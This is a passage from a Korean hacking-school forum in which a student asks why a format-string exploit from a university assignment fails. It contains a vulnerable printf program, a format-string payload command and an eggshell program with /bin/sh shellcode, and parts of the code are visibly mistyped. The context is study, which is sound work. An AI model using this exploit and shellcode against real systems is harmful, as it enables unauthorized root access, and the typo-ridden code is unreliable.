½Ã½ºÅÛ ÇØÅ·

 1574, 72/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   bluesun2
   ¸®´ª½º Æ÷¸Ë½ºÆ®¸µ°ø°Ý Áú¹® ÀÔ´Ï´Ù (´ëÇб³ °úÁ¦Àε¥ µµ¿ÍÁÖ¼¼¿ä ¤Ð¤Ð)

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1448 [º¹»ç]


´ëÇлýÀε¥¿ä ±³¼ö´ÔÀÌ °úÁ¦¸¦ ³»Á̴ּµ¥ ´ë°¡¸® »È°¡Áö°Ô Çصµ ¾ÈµÇ³×¿ä ¤Ð¤Ð
ÄÚµùÀº 2°³Çߴµ¥¿ä ¼Ò½º´Â ¾Æ·¡¿¡ Àû°Ú½À´Ï´Ù

gdb bugfile (bugfile ÄÚµùÆÄÀÏ) ¼Ò½º´Â ¾Æ·¡

disass main

main+3 À»Ã£¾Æ¼­ ÀûÀ½ (0x080483d3 )

break *0x08048657

run Ä¡¸é (no debugging symbols found) ¶ó´Â ±Û¶ä

info reg Ä¡¸é $ebp 0xbff3a88 °ª³ª¿È

x/12 $ebp Ä¡¸é À§¿¡²¨¶û°°Àº  0xbff3a88 °ª³ª¿È

./egg ó¼­ °ª»ý¼ºÇÔ ( egg ÄÚµùÆÄÀÏ) ¼Ò½º´Â ¾Æ·¡

0xbff085e8 °ª »ý¼º

¿©±â¼­ 1bff0 À̶û 85e8À̶ó´Â °ªÀ» ³ª´©¾î¼­ 16Áø¼ö¿¡¼­ 10Áø¼ö·Î º¯È¯

114672 ¿Í 34280 À̶ó´Â °ªÀ¸·Î ´ï

¿©±â¼­ 34280Àº ¹®ÀÚ 16°³°¡ µé¾î°¥°ÍÀ̹ǷΠ16À»»­ (34264)

³ª¿Â¼ýÀÚ³¢¸® »©¼­ 114672 - 34280 = (80392) °ªÀ¸·Î´ï

ÀÌÁ¦ °ø°ÝÄڵ带 Â¥¼­ (printf "\x41\x41\x41\x41\x6c\xf3\xff\xbf\41\x41\x41\x41\xfe\xf3\xff\xbf%%34264d%%hn%%80392d%%hn"; cat) | ./bugfile

À̶ó°í ÀÛ¼º

½ÇÇà ÇÏ¸é ¼¼±×¸ÕÅ×ÀÌ¼Ç ¿À·ù ¶ó°í ¶ä ·çÆ®±ÇÇÑ Ãëµæµµ ½ÇÆÐ ¤Ð¤Ð Ã¥´ë·Î ´Ù Çߴµ¥ ¿Ö ¾ÈµÇ´Â°ÅÁÒ ±³Àç´Â (itcookbook Á¤º¸º¸¾È°³·Ð°ú ½Ç½À ½Ã½ºÅÛÇØÅ·°ú º¸¾ÈÆí ÀÔ´Ï´Ù)

¾Æ ÁøÂ¥ ¹¹°¡ À߸øµÈÁö ¸ð¸£°Ú³×¿ä µµ¿ÍÁÖ¼¼¿ä ¤Ð¤Ð

(¼Ò½º)
bugfile.c
#include <stdio.h>

main() {

int i =0;
char buf[ 64];
memset (buf, 0, 64);
read(0, buf, 64);
printf(buf);
}

egg.c (Àå¹®ÀÔ´Ï´Ù ¼ÕÀ¸·Î Ãļ­ ¿ÀŸ°¡ÀÖÀ»¼öµµ)

#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x00\xc9\xc3\x90/bin/sh";

unnsigned long get_esp (void) {

__asm__("movl %esp, %eax")

main (int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi (argv[ 1]);
if (argc > 2) offset = atoi (argv[ 2]);
if (argc > 3) eggsize = atoi (argv[ 3]);
if (!(buff = malloc(bsize))) {
printf ("can't allocate memory.\n");
exit (0);
}

if (!(egg = malloc(eggsize))) {
printf("can't allocate memory.\n");
exit (0);
}

addr = get_esp() - offset;
printf("using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)
*(addr_ptr++_ = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen (shellcode) - 1; i++)
* (ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[ i];
buff[bsize - 1] = '\0';
egg[ eggsize - 1] = '\0';
memcpy (egg, "EGG=", 4);
putenv (egg);
memcpy (buff, "RET=", 4);
putenv (buff);
system("/bin/bash");
}

  Hit : 4433     Date : 2010/12/07 04:29



    
CodeAche À§ Å×½ºÆ®¸¦ ¼öÇàÇÑ ÀÚ¼¼ÇÑ È¯°æÀÌ ¹ºÁö¿ä.
uname -aÇßÀ»¶§ÀÇ °á°ú³ª..
cat /etc/redhat-release ³ª..¹¹ ±×·±°Å¿ä ¤¾
2010/12/08  
bluesun2 suse ¸®´ª½º 1.5 ÀÔ´Ï´Ù 2010/12/08  
154   ÄÄÇ»ÅÍ°¡ ÀÌ»óÇØ¿ä(ÇÊ´äºÎŹ!!)[3]     bluiz
12/15 3324
153   xp¿¡¼­ ºÎÆõð½ºÅ©¾øÀÌ µµ½º¸ðµå·Î °¥¼öÀÖ³ª¿©?[1]     bluiz
12/16 7383
  ¸®´ª½º Æ÷¸Ë½ºÆ®¸µ°ø°Ý Áú¹® ÀÔ´Ï´Ù (´ëÇб³ °úÁ¦Àε¥ µµ¿ÍÁÖ¼¼¿ä ¤Ð¤Ð)[2]     bluesun2
12/07 4432
151   Æ÷¸Ë ½ºÆ®¸µ ¸®ÅϾîµå·¹½º°ª Áú¹® ¤Ð¤Ð[2]     bluesun2
12/08 3294
150   ¼Ò½º Çؼ®Á» ºÎŹµå¸³´Ï´Ù (¾ð¾î¸¦ ¹è¿îÀûÀ̾ø¾î¼­ ½ÃÇèÀε¥..)[5]     bluesun2
12/13 3366
149   ÇØ¿Ü¿¡ ÀÖ´Â ¾Æµé³à¼®ÀÇ ÄÄ ¸ð´ÏÅ͸µ[4]     bluecrater
03/01 4440
148   Áú¹®ÀÔ´Ï´Ù ^^[3]     blueavis
11/09 3992
147   API°ü·Ã ÇÔ¼ö Áú¹® ÀÔ´Ï´Ù.. [1]     BLu2Scr22n
02/05 3250
146   ³Ý¹ö½º¿¡°üÇѰǵ¥¿©.[1]     blrck
07/18 4345
145   Áú¹®ÀÖ½À´Ï´Ù~     blgf6190
04/24 3012
144   egghunter °ü·Ã bof¹®Á¦¿¡´ëÇØ Áú¹®ÀÔ´Ï´Ù[1]     blacksheep
05/22 3694
143   ¾ÆÀ̵ð ºñ¹ø ÇØÅ· °¡´É?[2]     blackalleycat
08/05 16542
142   ÇØÅ·¿¡ ´ëÇØÁú¹®¿ä~ ¤¾[1]     BkeMan
12/14 3395
141   ³Ýº¿¸¸µé±âÁ¡ °¡¸£ÄÑÁÖ¼¼¿ä~     BkeMan
11/14 5079
140   ¸®´ª½º¿¡ ´ëÇØ Àü¹®ÀûÀ¸·Î °¡¸£ÄÑÁÖ¼¼¿ä~[11]     BkeMan
11/14 3326
139   ¼­¹ö¿¡ ¾î¶»°Ô Á¢¼ÓÇÏ¿© º¼¼öÀÖ³ª¿ä?[1]     BkeMan
11/14 3409
138   C¾ð¾î Ã¥ ÃßõÁ¡ ÇØÁÖ¼¼¿ä~[3]     BkeMan
11/14 3274
137   ftz ¿¡ ´ëÇؼ­ °¡¸£ÄÑÁÖ¼¼¿ä~[1]     BkeMan
11/14 3276
136   Ã¥°¡°Ô¿¡¼­ ÇØÅ·Ã¥À» Æijª¿ä?[7]     BkeMan
11/14 4411
135   ´Ù¸¥Áö¿ª¿¡ ÀÖ´Â »ç¶÷ÀÇ ¾ÆÀÌÇǸ¦ ¾Ë°í½ÍÀ»¶ó¸é ¾î¶»°Ô Çϳª¿ä?[13]     BkeMan
11/14 3971
[1]..[71] 72 [73][74][75][76][77][78][79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org